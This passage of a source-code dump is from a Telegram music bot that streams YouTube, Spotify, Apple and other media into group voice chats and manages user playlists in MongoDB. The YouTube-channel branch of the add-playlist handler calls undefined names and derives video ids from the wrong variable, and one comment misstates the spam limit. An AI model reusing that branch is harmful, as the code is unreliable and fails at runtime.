URLs truth_api_url = "https://api.truthordarebot.xyz/v1/truth" dare_api_url = "https://api.truthordarebot.xyz/v1/dare" @app.on_message(filters.command("truth")) def get_truth(client, message): try: # Make a GET request to the Truth API response = requests.get(truth_api_url) if response.status_code == 200: truth_question = response.json()["question"] message.reply_text(f"Truth question:\n\n{truth_question}") else: message.reply_text("Failed to fetch a truth question. Please try again later.") except Exception as e: message.reply_text("An error occurred while fetching a truth question. Please try again later.") @app.on_message(filters.command("dare")) def get_dare(client, message): try: # Make a GET request to the Dare API response = requests.get(dare_api_url) if response.status_code == 200: dare_question = response.json()["question"] message.reply_text(f"Dare question:\n\n{dare_question}") else: message.reply_text("Failed to fetch a dare question. Please try again later.") except Exception as e: message.reply_text("An error occurred while fetching a dare question. Please try again later.") ================================================ FILE: BrandrdXMusic/plugins/misc/watcher.py ================================================ from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.core.call import Hotty welcome = 20 close = 30 @app.on_message(filters.video_chat_started, group=welcome) @app.on_message(filters.video_chat_ended, group=close) async def welcome(_, message: Message): await Hotty.stop_stream_force(message.chat.id) ================================================ FILE: BrandrdXMusic/plugins/play/channel.py ================================================ from pyrogram import filters from pyrogram.enums import ChatMembersFilter, ChatMemberStatus, ChatType from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.utils.database import set_cmode from BrandrdXMusic.utils.decorators.admins import AdminActual from config import BANNED_USERS @app.on_message(filters.command(["channelplay"]) & filters.group & ~BANNED_USERS) @AdminActual async def playmode_(client, message: Message, _): if len(message.command) < 2: return await message.reply_text(_["cplay_1"].format(message.chat.title)) query = message.text.split(None, 2)[1].lower().strip() if (str(query)).lower() == "disable": await set_cmode(message.chat.id, None) return await message.reply_text(_["cplay_7"]) elif str(query) == "linked": chat = await app.get_chat(message.chat.id) if chat.linked_chat: chat_id = chat.linked_chat.id await set_cmode(message.chat.id, chat_id) return await message.reply_text( _["cplay_3"].format(chat.linked_chat.title, chat.linked_chat.id) ) else: return await message.reply_text(_["cplay_2"]) else: try: chat = await app.get_chat(query) except: return await message.reply_text(_["cplay_4"]) if chat.type != ChatType.CHANNEL: return await message.reply_text(_["cplay_5"]) try: async for user in app.get_chat_members( chat.id, filter=ChatMembersFilter.ADMINISTRATORS ): if user.status == ChatMemberStatus.OWNER: cusn = user.user.username crid = user.user.id except: return await message.reply_text(_["cplay_4"]) if crid != message.from_user.id: return await message.reply_text(_["cplay_6"].format(chat.title, cusn)) await set_cmode(message.chat.id, chat.id) return await message.reply_text(_["cplay_3"].format(chat.title, chat.id)) ================================================ FILE: BrandrdXMusic/plugins/play/live.py ================================================ from pyrogram import filters from BrandrdXMusic import YouTube, app from BrandrdXMusic.utils.channelplay import get_channeplayCB from BrandrdXMusic.utils.decorators.language import languageCB from BrandrdXMusic.utils.stream.stream import stream from config import BANNED_USERS @app.on_callback_query(filters.regex("LiveStream") & ~BANNED_USERS) @languageCB async def play_live_stream(client, CallbackQuery, _): callback_data = CallbackQuery.data.strip() callback_request = callback_data.split(None, 1)[1] vidid, user_id, mode, cplay, fplay = callback_request.split("|") if CallbackQuery.from_user.id != int(user_id): try: return await CallbackQuery.answer(_["playcb_1"], show_alert=True) except: return try: chat_id, channel = await get_channeplayCB(_, cplay, CallbackQuery) except: return video = True if mode == "v" else None user_name = CallbackQuery.from_user.first_name await CallbackQuery.message.delete() try: await CallbackQuery.answer() except: pass mystic = await CallbackQuery.message.reply_text( _["play_2"].format(channel) if channel else _["play_1"] ) try: details, track_id = await YouTube.track(vidid, True) except: return await mystic.edit_text(_["play_3"]) ffplay = True if fplay == "f" else None if not details["duration_min"]: try: await stream( _, mystic, user_id, details, chat_id, user_name, CallbackQuery.message.chat.id, video, streamtype="live", forceplay=ffplay, ) except Exception as e: ex_type = type(e).__name__ err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type) return await mystic.edit_text(err) else: return await mystic.edit_text("» ɴᴏᴛ ᴀ ʟɪᴠᴇ sᴛʀᴇᴀᴍ.") await mystic.delete() ================================================ FILE: BrandrdXMusic/plugins/play/play.py ================================================ import random import string from pyrogram import filters from pyrogram.types import InlineKeyboardMarkup, InputMediaPhoto, Message from pytgcalls.exceptions import NoActiveGroupCall import config from BrandrdXMusic import Apple, Resso, SoundCloud, Spotify, Telegram, YouTube, app from BrandrdXMusic.core.call import Hotty from BrandrdXMusic.utils import seconds_to_min, time_to_seconds from BrandrdXMusic.utils.channelplay import get_channeplayCB from BrandrdXMusic.utils.decorators.language import languageCB from BrandrdXMusic.utils.decorators.play import PlayWrapper from BrandrdXMusic.utils.formatters import formats from BrandrdXMusic.utils.inline import ( botplaylist_markup, livestream_markup, playlist_markup, slider_markup, track_markup, ) from BrandrdXMusic.utils.logger import play_logs from BrandrdXMusic.utils.stream.stream import stream from config import BANNED_USERS, lyrical @app.on_message( filters.command( [ "play", "vplay", "cplay", "cvplay", "playforce", "vplayforce", "cplayforce", "cvplayforce", ] ) & filters.group & ~BANNED_USERS ) @PlayWrapper async def play_commnd( client, message: Message, _, chat_id, video, channel, playmode, url, fplay, ): mystic = await message.reply_text( _["play_2"].format(channel) if channel else _["play_1"] ) plist_id = None slider = None plist_type = None spotify = None user_id = message.from_user.id user_name = message.from_user.first_name audio_telegram = ( (message.reply_to_message.audio or message.reply_to_message.voice) if message.reply_to_message else None ) video_telegram = ( (message.reply_to_message.video or message.reply_to_message.document) if message.reply_to_message else None ) if audio_telegram: if audio_telegram.file_size > 104857600: return await mystic.edit_text(_["play_5"]) duration_min = seconds_to_min(audio_telegram.duration) if (audio_telegram.duration) > config.DURATION_LIMIT: return await mystic.edit_text( _["play_6"].format(config.DURATION_LIMIT_MIN, app.mention) ) file_path = await Telegram.get_filepath(audio=audio_telegram) if await Telegram.download(_, message, mystic, file_path): message_link = await Telegram.get_link(message) file_name = await Telegram.get_filename(audio_telegram, audio=True) dur = await Telegram.get_duration(audio_telegram, file_path) details = { "title": file_name, "link": message_link, "path": file_path, "dur": dur, } try: await stream( _, mystic, user_id, details, chat_id, user_name, message.chat.id, streamtype="telegram", forceplay=fplay, ) except Exception as e: ex_type = type(e).__name__ err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type) return await mystic.edit_text(err) return await mystic.delete() return elif video_telegram: if message.reply_to_message.document: try: ext = video_telegram.file_name.split(".")[-1] if ext.lower() not in formats: return await mystic.edit_text( _["play_7"].format(f"{' | '.join(formats)}") ) except: return await mystic.edit_text( _["play_7"].format(f"{' | '.join(formats)}") ) if video_telegram.file_size > config.TG_VIDEO_FILESIZE_LIMIT: return await mystic.edit_text(_["play_8"]) file_path = await Telegram.get_filepath(video=video_telegram) if await Telegram.download(_, message, mystic, file_path): message_link = await Telegram.get_link(message) file_name = await Telegram.get_filename(video_telegram) dur = await Telegram.get_duration(video_telegram, file_path) details = { "title": file_name, "link": message_link, "path": file_path, "dur": dur, } try: await stream( _, mystic, user_id, details, chat_id, user_name, message.chat.id, video=True, streamtype="telegram", forceplay=fplay, ) except Exception as e: ex_type = type(e).__name__ err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type) return await mystic.edit_text(err) return await mystic.delete() return elif url: if await YouTube.exists(url): if "playlist" in url: try: details = await YouTube.playlist( url, config.PLAYLIST_FETCH_LIMIT, message.from_user.id, ) except: return await mystic.edit_text(_["play_3"]) streamtype = "playlist" plist_type = "yt" if "&" in url: plist_id = (url.split("=")[1]).split("&")[0] else: plist_id = url.split("=")[1] img = config.PLAYLIST_IMG_URL cap = _["play_9"] else: try: details, track_id = await YouTube.track(url) except: return await mystic.edit_text(_["play_3"]) streamtype = "youtube" img = details["thumb"] cap = _["play_10"].format( details["title"], details["duration_min"], ) elif await Spotify.valid(url): spotify = True if not config.SPOTIFY_CLIENT_ID and not config.SPOTIFY_CLIENT_SECRET: return await mystic.edit_text( "» sᴘᴏᴛɪғʏ ɪs ɴᴏᴛ sᴜᴘᴘᴏʀᴛᴇᴅ ʏᴇᴛ.\n\nᴘʟᴇᴀsᴇ ᴛʀʏ ᴀɢᴀɪɴ ʟᴀᴛᴇʀ." ) if "track" in url: try: details, track_id = await Spotify.track(url) except: return await mystic.edit_text(_["play_3"]) streamtype = "youtube" img = details["thumb"] cap = _["play_10"].format(details["title"], details["duration_min"]) elif "playlist" in url: try: details, plist_id = await Spotify.playlist(url) except Exception: return await mystic.edit_text(_["play_3"]) streamtype = "playlist" plist_type = "spplay" img = config.SPOTIFY_PLAYLIST_IMG_URL cap = _["play_11"].format(app.mention, message.from_user.mention) elif "album" in url: try: details, plist_id = await Spotify.album(url) except: return await mystic.edit_text(_["play_3"]) streamtype = "playlist" plist_type = "spalbum" img = config.SPOTIFY_ALBUM_IMG_URL cap = _["play_11"].format(app.mention, message.from_user.mention) elif "artist" in url: try: details, plist_id = await Spotify.artist(url) except: return await mystic.edit_text(_["play_3"]) streamtype = "playlist" plist_type = "spartist" img = config.SPOTIFY_ARTIST_IMG_URL cap = _["play_11"].format(message.from_user.first_name) else: return await mystic.edit_text(_["play_15"]) elif await Apple.valid(url): if "album" in url: try: details, track_id = await Apple.track(url) except: return await mystic.edit_text(_["play_3"]) streamtype = "youtube" img = details["thumb"] cap = _["play_10"].format(details["title"], details["duration_min"]) elif "playlist" in url: spotify = True try: details, plist_id = await Apple.playlist(url) except: return await mystic.edit_text(_["play_3"]) streamtype = "playlist" plist_type = "apple" cap = _["play_12"].format(app.mention, message.from_user.mention) img = url else: return await mystic.edit_text(_["play_3"]) elif await Resso.valid(url): try: details, track_id = await Resso.track(url) except: return await mystic.edit_text(_["play_3"]) streamtype = "youtube" img = details["thumb"] cap = _["play_10"].format(details["title"], details["duration_min"]) elif await SoundCloud.valid(url): try: details, track_path = await SoundCloud.download(url) except: return await mystic.edit_text(_["play_3"]) duration_sec = details["duration_sec"] if duration_sec > config.DURATION_LIMIT: return await mystic.edit_text( _["play_6"].format( config.DURATION_LIMIT_MIN, app.mention, ) ) try: await stream( _, mystic, user_id, details, chat_id, user_name, message.chat.id, streamtype="soundcloud", forceplay=fplay, ) except Exception as e: ex_type = type(e).__name__ err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type) return await mystic.edit_text(err) return await mystic.delete() else: try: await Hotty.stream_call(url) except NoActiveGroupCall: await mystic.edit_text(_["black_9"]) return await app.send_message( chat_id=config.LOGGER_ID, text=_["play_17"], ) except Exception as e: return await mystic.edit_text(_["general_2"].format(type(e).__name__)) await mystic.edit_text(_["str_2"]) try: await stream( _, mystic, message.from_user.id, url, chat_id, message.from_user.first_name, message.chat.id, video=video, streamtype="index", forceplay=fplay, ) except Exception as e: ex_type = type(e).__name__ err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type) return await mystic.edit_text(err) return await play_logs(message, streamtype="M3u8 or Index Link") else: if len(message.command) < 2: buttons = botplaylist_markup(_) return await mystic.edit_text( _["play_18"], reply_markup=InlineKeyboardMarkup(buttons), ) slider = True query = message.text.split(None, 1)[1] if "-v" in query: query = query.replace("-v", "") try: details, track_id = await YouTube.track(query) except: return await mystic.edit_text(_["play_3"]) streamtype = "youtube" if str(playmode) == "Direct": if not plist_type: if details["duration_min"]: duration_sec = time_to_seconds(details["duration_min"]) if duration_sec > config.DURATION_LIMIT: return await mystic.edit_text( _["play_6"].format(config.DURATION_LIMIT_MIN, app.mention) ) else: buttons = livestream_markup( _, track_id, user_id, "v" if video else "a", "c" if channel else "g", "f" if fplay else "d", ) return await mystic.edit_text( _["play_13"], reply_markup=InlineKeyboardMarkup(buttons), ) try: await stream( _, mystic, user_id, details, chat_id, user_name, message.chat.id, video=video, streamtype=streamtype, spotify=spotify, forceplay=fplay, ) except Exception as e: ex_type = type(e).__name__ err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type) return await mystic.edit_text(err) await mystic.delete() return await play_logs(message, streamtype=streamtype) else: if plist_type: ran_hash = "".join( random.choices(string.ascii_uppercase + string.digits, k=10) ) lyrical[ran_hash] = plist_id buttons = playlist_markup( _, ran_hash, message.from_user.id, plist_type, "c" if channel else "g", "f" if fplay else "d", ) await mystic.delete() await message.reply_photo( photo=img, caption=cap, reply_markup=InlineKeyboardMarkup(buttons), ) return await play_logs(message, streamtype=f"Playlist : {plist_type}") else: if slider: buttons = slider_markup( _, track_id, message.from_user.id, query, 0, "c" if channel else "g", "f" if fplay else "d", ) await mystic.delete() await message.reply_photo( photo=details["thumb"], caption=_["play_10"].format( details["title"].title(), details["duration_min"], ), reply_markup=InlineKeyboardMarkup(buttons), ) return await play_logs(message, streamtype=f"Searched on Youtube") else: buttons = track_markup( _, track_id, message.from_user.id, "c" if channel else "g", "f" if fplay else "d", ) await mystic.delete() await message.reply_photo( photo=img, caption=cap, reply_markup=InlineKeyboardMarkup(buttons), ) return await play_logs(message, streamtype=f"URL Searched Inline") @app.on_callback_query(filters.regex("MusicStream") & ~BANNED_USERS) @languageCB async def play_music(client, CallbackQuery, _): callback_data = CallbackQuery.data.strip() callback_request = callback_data.split(None, 1)[1] vidid, user_id, mode, cplay, fplay = callback_request.split("|") if CallbackQuery.from_user.id != int(user_id): try: return await CallbackQuery.answer(_["playcb_1"], show_alert=True) except: return try: chat_id, channel = await get_channeplayCB(_, cplay, CallbackQuery) except: return user_name = CallbackQuery.from_user.first_name try: await CallbackQuery.message.delete() await CallbackQuery.answer() except: pass mystic = await CallbackQuery.message.reply_text( _["play_2"].format(channel) if channel else _["play_1"] ) try: details, track_id = await YouTube.track(vidid, True) except: return await mystic.edit_text(_["play_3"]) if details["duration_min"]: duration_sec = time_to_seconds(details["duration_min"]) if duration_sec > config.DURATION_LIMIT: return await mystic.edit_text( _["play_6"].format(config.DURATION_LIMIT_MIN, app.mention) ) else: buttons = livestream_markup( _, track_id, CallbackQuery.from_user.id, mode, "c" if cplay == "c" else "g", "f" if fplay else "d", ) return await mystic.edit_text( _["play_13"], reply_markup=InlineKeyboardMarkup(buttons), ) video = True if mode == "v" else None ffplay = True if fplay == "f" else None try: await stream( _, mystic, CallbackQuery.from_user.id, details, chat_id, user_name, CallbackQuery.message.chat.id, video, streamtype="youtube", forceplay=ffplay, ) except Exception as e: ex_type = type(e).__name__ err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type) return await mystic.edit_text(err) return await mystic.delete() @app.on_callback_query(filters.regex("AnonymousAdmin") & ~BANNED_USERS) async def piyush_check(client, CallbackQuery): try: await CallbackQuery.answer( "» ʀᴇᴠᴇʀᴛ ʙᴀᴄᴋ ᴛᴏ ᴜsᴇʀ ᴀᴄᴄᴏᴜɴᴛ :\n\nᴏᴘᴇɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ sᴇᴛᴛɪɴɢs.\n-> ᴀᴅᴍɪɴɪsᴛʀᴀᴛᴏʀs\n-> ᴄʟɪᴄᴋ ᴏɴ ʏᴏᴜʀ ɴᴀᴍᴇ\n-> ᴜɴᴄʜᴇᴄᴋ ᴀɴᴏɴʏᴍᴏᴜs ᴀᴅᴍɪɴ ᴘᴇʀᴍɪssɪᴏɴs.", show_alert=True, ) except: pass @app.on_callback_query(filters.regex("HottyPlaylists") & ~BANNED_USERS) @languageCB async def play_playlists_command(client, CallbackQuery, _): callback_data = CallbackQuery.data.strip() callback_request = callback_data.split(None, 1)[1] ( videoid, user_id, ptype, mode, cplay, fplay, ) = callback_request.split("|") if CallbackQuery.from_user.id != int(user_id): try: return await CallbackQuery.answer(_["playcb_1"], show_alert=True) except: return try: chat_id, channel = await get_channeplayCB(_, cplay, CallbackQuery) except: return user_name = CallbackQuery.from_user.first_name await CallbackQuery.message.delete() try: await CallbackQuery.answer() except: pass mystic = await CallbackQuery.message.reply_text( _["play_2"].format(channel) if channel else _["play_1"] ) videoid = lyrical.get(videoid) video = True if mode == "v" else None ffplay = True if fplay == "f" else None spotify = True if ptype == "yt": spotify = False try: result = await YouTube.playlist( videoid, config.PLAYLIST_FETCH_LIMIT, CallbackQuery.from_user.id, True, ) except: return await mystic.edit_text(_["play_3"]) if ptype == "spplay": try: result, spotify_id = await Spotify.playlist(videoid) except: return await mystic.edit_text(_["play_3"]) if ptype == "spalbum": try: result, spotify_id = await Spotify.album(videoid) except: return await mystic.edit_text(_["play_3"]) if ptype == "spartist": try: result, spotify_id = await Spotify.artist(videoid) except: return await mystic.edit_text(_["play_3"]) if ptype == "apple": try: result, apple_id = await Apple.playlist(videoid, True) except: return await mystic.edit_text(_["play_3"]) try: await stream( _, mystic, user_id, result, chat_id, user_name, CallbackQuery.message.chat.id, video, streamtype="playlist", spotify=spotify, forceplay=ffplay, ) except Exception as e: ex_type = type(e).__name__ err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type) return await mystic.edit_text(err) return await mystic.delete() @app.on_callback_query(filters.regex("slider") & ~BANNED_USERS) @languageCB async def slider_queries(client, CallbackQuery, _): callback_data = CallbackQuery.data.strip() callback_request = callback_data.split(None, 1)[1] ( what, rtype, query, user_id, cplay, fplay, ) = callback_request.split("|") if CallbackQuery.from_user.id != int(user_id): try: return await CallbackQuery.answer(_["playcb_1"], show_alert=True) except: return what = str(what) rtype = int(rtype) if what == "F": if rtype == 9: query_type = 0 else: query_type = int(rtype + 1) try: await CallbackQuery.answer(_["playcb_2"]) except: pass title, duration_min, thumbnail, vidid = await YouTube.slider(query, query_type) buttons = slider_markup(_, vidid, user_id, query, query_type, cplay, fplay) med = InputMediaPhoto( media=thumbnail, caption=_["play_10"].format( title.title(), duration_min, ), ) return await CallbackQuery.edit_message_media( media=med, reply_markup=InlineKeyboardMarkup(buttons) ) if what == "B": if rtype == 0: query_type = 9 else: query_type = int(rtype - 1) try: await CallbackQuery.answer(_["playcb_2"]) except: pass title, duration_min, thumbnail, vidid = await YouTube.slider(query, query_type) buttons = slider_markup(_, vidid, user_id, query, query_type, cplay, fplay) med = InputMediaPhoto( media=thumbnail, caption=_["play_10"].format( title.title(), duration_min, ), ) return await CallbackQuery.edit_message_media( media=med, reply_markup=InlineKeyboardMarkup(buttons) ) ================================================ FILE: BrandrdXMusic/plugins/play/playlist.py ================================================ import asyncio import os import time from random import randint from time import time from typing import Dict, List, Union import requests from pykeyboard import InlineKeyboard from pyrogram import filters from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message from youtube_search import YoutubeSearch from config import BANNED_USERS, SERVER_PLAYLIST_LIMIT from BrandrdXMusic import Carbon, app from BrandrdXMusic.utils.decorators.language import language, languageCB from BrandrdXMusic.utils.inline.playlist import ( botplaylist_markup, get_playlist_markup, warning_markup, ) from BrandrdXMusic.utils.pastebin import HottyBin from BrandrdXMusic.utils.stream.stream import stream # Define a dictionary to track the last message timestamp for each user user_last_message_time = {} user_command_count = {} # Define the threshold for command spamming (e.g., 20 commands within 60 seconds) SPAM_THRESHOLD = 2 SPAM_WINDOW_SECONDS = 5 from BrandrdXMusic.core.mongo import mongodb playlistdb = mongodb.playlist playlist = [] # Playlist Databse async def _get_playlists(chat_id: int) -> Dict[str, int]: _notes = await playlistdb.find_one({"chat_id": chat_id}) if not _notes: return {} return _notes["notes"] async def get_playlist_names(chat_id: int) -> List[str]: _notes = [] for note in await _get_playlists(chat_id): _notes.append(note) return _notes async def get_playlist(chat_id: int, name: str) -> Union[bool, dict]: name = name _notes = await _get_playlists(chat_id) if name in _notes: return _notes[name] else: return False async def save_playlist(chat_id: int, name: str, note: dict): name = name _notes = await _get_playlists(chat_id) _notes[name] = note await playlistdb.update_one( {"chat_id": chat_id}, {"$set": {"notes": _notes}}, upsert=True ) async def delete_playlist(chat_id: int, name: str) -> bool: notesd = await _get_playlists(chat_id) name = name if name in notesd: del notesd[name] await playlistdb.update_one( {"chat_id": chat_id}, {"$set": {"notes": notesd}}, upsert=True, ) return True return False # Command ADDPLAYLIST_COMMAND = "addplaylist" PLAYLIST_COMMAND = "playlist" DELETEPLAYLIST_COMMAND = "delplaylist" @app.on_message(filters.command(PLAYLIST_COMMAND) & ~BANNED_USERS) @language async def check_playlist(client, message: Message, _): user_id = message.from_user.id current_time = time() # Update the last message timestamp for the user last_message_time = user_last_message_time.get(user_id, 0) if current_time - last_message_time < SPAM_WINDOW_SECONDS: # If less than the spam window time has passed since the last message user_last_message_time[user_id] = current_time user_command_count[user_id] = user_command_count.get(user_id, 0) + 1 if user_command_count[user_id] > SPAM_THRESHOLD: # Block the user if they exceed the threshold hu = await message.reply_text( f"**{message.from_user.mention} ᴘʟᴇᴀsᴇ ᴅᴏɴᴛ ᴅᴏ sᴘᴀᴍ, ᴀɴᴅ ᴛʀʏ ᴀɢᴀɪɴ ᴀғᴛᴇʀ 5 sᴇᴄ**" ) await asyncio.sleep(3) await hu.delete() return else: # If more than the spam window time has passed, reset the command count and update the message timestamp user_command_count[user_id] = 1 user_last_message_time[user_id] = current_time _playlist = await get_playlist_names(message.from_user.id) if _playlist: get = await message.reply_text(_["playlist_2"]) else: return await message.reply_text(_["playlist_3"]) msg = _["playlist_4"] count = 0 for shikhar in _playlist: _note = await get_playlist(message.from_user.id, shikhar) title = _note["title"] title = title.title() duration = _note["duration"] count += 1 msg += f"\n\n{count}- {title[:70]}\n" msg += _["playlist_5"].format(duration) link = await HottyBin(msg) lines = msg.count("\n") if lines >= 17: car = os.linesep.join(msg.split(os.linesep)[:17]) else: car = msg carbon = await Carbon.generate(car, randint(100, 10000000000)) await get.delete() await message.reply_photo(carbon, caption=_["playlist_15"].format(link)) async def get_keyboard(_, user_id): keyboard = InlineKeyboard(row_width=5) _playlist = await get_playlist_names(user_id) count = len(_playlist) for x in _playlist: _note = await get_playlist(user_id, x) title = _note["title"] title = title.title() keyboard.row( InlineKeyboardButton( text=title, callback_data=f"del_playlist {x}", ) ) keyboard.row( InlineKeyboardButton( text=_["PL_B_5"], callback_data=f"delete_warning", ), InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data=f"close"), ) return keyboard, count @app.on_message(filters.command(DELETEPLAYLIST_COMMAND) & ~BANNED_USERS) @language async def del_plist_msg(client, message: Message, _): user_id = message.from_user.id current_time = time() # Update the last message timestamp for the user last_message_time = user_last_message_time.get(user_id, 0) if current_time - last_message_time < SPAM_WINDOW_SECONDS: # If less than the spam window time has passed since the last message user_last_message_time[user_id] = current_time user_command_count[user_id] = user_command_count.get(user_id, 0) + 1 if user_command_count[user_id] > SPAM_THRESHOLD: # Block the user if they exceed the threshold hu = await message.reply_text( f"**{message.from_user.mention} ᴘʟᴇᴀsᴇ ᴅᴏɴᴛ ᴅᴏ sᴘᴀᴍ, ᴀɴᴅ ᴛʀʏ ᴀɢᴀɪɴ ᴀғᴛᴇʀ 5 sᴇᴄ**" ) await asyncio.sleep(3) await hu.delete() return else: # If more than the spam window time has passed, reset the command count and update the message timestamp user_command_count[user_id] = 1 user_last_message_time[user_id] = current_time _playlist = await get_playlist_names(message.from_user.id) if _playlist: get = await message.reply_text(_["playlist_2"]) else: return await message.reply_text(_["playlist_3"]) keyboard, count = await get_keyboard(_, message.from_user.id) await get.edit_text(_["playlist_7"].format(count), reply_markup=keyboard) @app.on_callback_query(filters.regex("play_playlist") & ~BANNED_USERS) @languageCB async def play_playlist(client, CallbackQuery, _): callback_data = CallbackQuery.data.strip() mode = callback_data.split(None, 1)[1] user_id = CallbackQuery.from_user.id _playlist = await get_playlist_names(user_id) if not _playlist: try: return await CallbackQuery.answer( _["playlist_3"], show_alert=True, ) except: return chat_id = CallbackQuery.message.chat.id user_name = CallbackQuery.from_user.first_name await CallbackQuery.message.delete() result = [] try: await CallbackQuery.answer() except: pass video = True if mode == "v" else None mystic = await CallbackQuery.message.reply_text(_["play_1"]) for vidids in _playlist: result.append(vidids) try: await stream( _, mystic, user_id, result, chat_id, user_name, CallbackQuery.message.chat.id, video, streamtype="playlist", ) except Exception as e: ex_type = type(e).__name__ err = e if ex_type == "AssistantErr" else _["general_3"].format(ex_type) return await mystic.edit_text(err) return await mystic.delete() @app.on_message( filters.command(["playplaylist", "vplayplaylist"]) & ~BANNED_USERS & filters.group ) @languageCB async def play_playlist_command(client, message, _): mode = message.command[0][0] user_id = message.from_user.id _playlist = await get_playlist_names(user_id) if not _playlist: try: return await message.reply( _["playlist_3"], quote=True, ) except: return chat_id = message.chat.id user_name = message.from_user.first_name try: await message.delete() except: pass result = [] video = True if mode == "v" else None mystic = await message.reply_text(_["play_1"]) for vidids in _playlist: result.append(vidids) try: await stream( _, mystic, user_id, result, chat_id, user_name, message.chat.id, video, streamtype="playlist", ) except Exception as e: ex_type = type(e).__name__ err = e if ex_type == "AssistantErr" else _["general_3"].format(ex_type) return await mystic.edit_text(err) return await mystic.delete() # Combined add_playlist function @app.on_message(filters.command(ADDPLAYLIST_COMMAND) & ~BANNED_USERS) @language async def add_playlist(client, message: Message, _): if len(message.command) < 2: return await message.reply_text( "**➻ ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴍᴇ ᴀ sᴏɴɢ ɴᴀᴍᴇ ᴏʀ sᴏɴɢ ʟɪɴᴋ ᴏʀ ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ʟɪɴᴋ ᴀғᴛᴇʀ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ..**\n\n**➥ ᴇxᴀᴍᴘʟᴇs:**\n\n▷ `/addplaylist Blue Eyes` (ᴘᴜᴛ ᴀ sᴘᴇᴄɪғɪᴄ sᴏɴɢ ɴᴀᴍᴇ)\n\n▷ /addplaylist [ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ʟɪɴᴋ] (ᴛᴏ ᴀᴅᴅ ᴀʟʟ sᴏɴɢs ғʀᴏᴍ ᴀ ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ɪɴ ʙᴏᴛ ᴘʟᴀʏʟɪsᴛ.)" ) query = message.command[1] # Check if the provided input is a YouTube playlist link if "youtube.com/playlist" in query: adding = await message.reply_text( "**🎧 ᴀᴅᴅɪɴɢ sᴏɴɢs ɪɴ ᴘʟᴀʏʟɪsᴛ ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..**" ) try: from pytube import Playlist, YouTube playlist = Playlist(query) video_urls = playlist.video_urls except Exception as e: # Handle exception return await message.reply_text(f"Error: {e}") if not video_urls: return await message.reply_text( "**➻ ɴᴏ sᴏɴɢs ғᴏᴜɴᴅ ɪɴ ᴛʜᴇ ᴘʟᴀʏʟɪsᴛ ʟɪɴᴋs.\n\n**➥ ᴛʀʏ ᴏᴛʜᴇʀ ᴘʟᴀʏʟɪsᴛ ʟɪɴᴋ**" ) user_id = message.from_user.id for video_url in video_urls: video_id = video_url.split("v=")[-1] try: yt = YouTube(video_url) title = yt.title duration = yt.length except Exception as e: return await message.reply_text(f"ᴇʀʀᴏʀ ғᴇᴛᴄʜɪɴɢ ᴠɪᴅᴇᴏ ɪɴғᴏ: {e}") plist = { "videoid": video_id, "title": title, "duration": duration, } await save_playlist(user_id, video_id, plist) keyboardes = InlineKeyboardMarkup( [ [ InlineKeyboardButton( "๏ ᴡᴀɴᴛ ʀᴇᴍᴏᴠᴇ ᴀɴʏ sᴏɴɢs? ๏", callback_data=f"open_playlist {user_id}", ) ] ] ) await adding.delete() return await message.reply_text( text="**➻ ᴀʟʟ sᴏɴɢs ʜᴀs ʙᴇᴇɴ ᴀᴅᴅᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ ғʀᴏᴍ ʏᴏᴜʀ ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ʟɪɴᴋ✅**\n\n**➥ ɪғ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ʀᴇᴍᴏᴠᴇ ᴀɴʏ sᴏɴɢ ᴛʜᴇɴ ᴄʟɪᴄᴋ ɢɪᴠᴇɴ ʙᴇʟᴏᴡ ʙᴜᴛᴛᴏɴ.\n\n**▷ ᴄʜᴇᴄᴋ ʙʏ » /playlist**\n\n▷ **ᴘʟᴀʏ ʙʏ » /play**", reply_markup=keyboardes, ) if "youtube.com/@" in query: addin = await message.reply_text( "**🎧 ᴀᴅᴅɪɴɢ sᴏɴɢs ɪɴ ᴘʟᴀʏʟɪsᴛ ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..**" ) try: from pytube import YouTube channel_username = query videos = YouTube_videos(f"{query}/videos") video_urls = [video["url"] for video in videos] except Exception as e: # Handle exception return await message.reply_text(f"Error: {e}") if not video_urls: return await message.reply_text( "**➻ ɴᴏ sᴏɴɢs ғᴏᴜɴᴅ ɪɴ ᴛʜᴇ YouTube channel.\n\n**➥ ᴛʀʏ ᴏᴛʜᴇʀ YouTube channel ʟɪɴᴋ**" ) user_id = message.from_user.id for video_url in video_urls: videosid = query.split("/")[-1].split("?")[0] try: yt = YouTube(f"https://youtu.be/{videosid}") title = yt.title duration = yt.length except Exception as e: return await message.reply_text(f"ᴇʀʀᴏʀ ғᴇᴛᴄʜɪɴɢ ᴠɪᴅᴇᴏ ɪɴғᴏ: {e}") plist = { "videoid": video_id, "title": title, "duration": duration, } await save_playlist(user_id, video_id, plist) keyboardes = InlineKeyboardMarkup( [ [ InlineKeyboardButton( "๏ ᴡᴀɴᴛ ʀᴇᴍᴏᴠᴇ ᴀɴʏ sᴏɴɢs? ๏", callback_data=f"open_playlist {user_id}", ) ] ] ) await addin.delete() return await message.reply_text( text="**➻ ᴀʟʟ sᴏɴɢs ʜᴀs ʙᴇᴇɴ ᴀᴅᴅᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ ғʀᴏᴍ ʏᴏᴜʀ ʏᴏᴜᴛᴜʙᴇ channel ʟɪɴᴋ✅**\n\n**➥ ɪғ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ʀᴇᴍᴏᴠᴇ 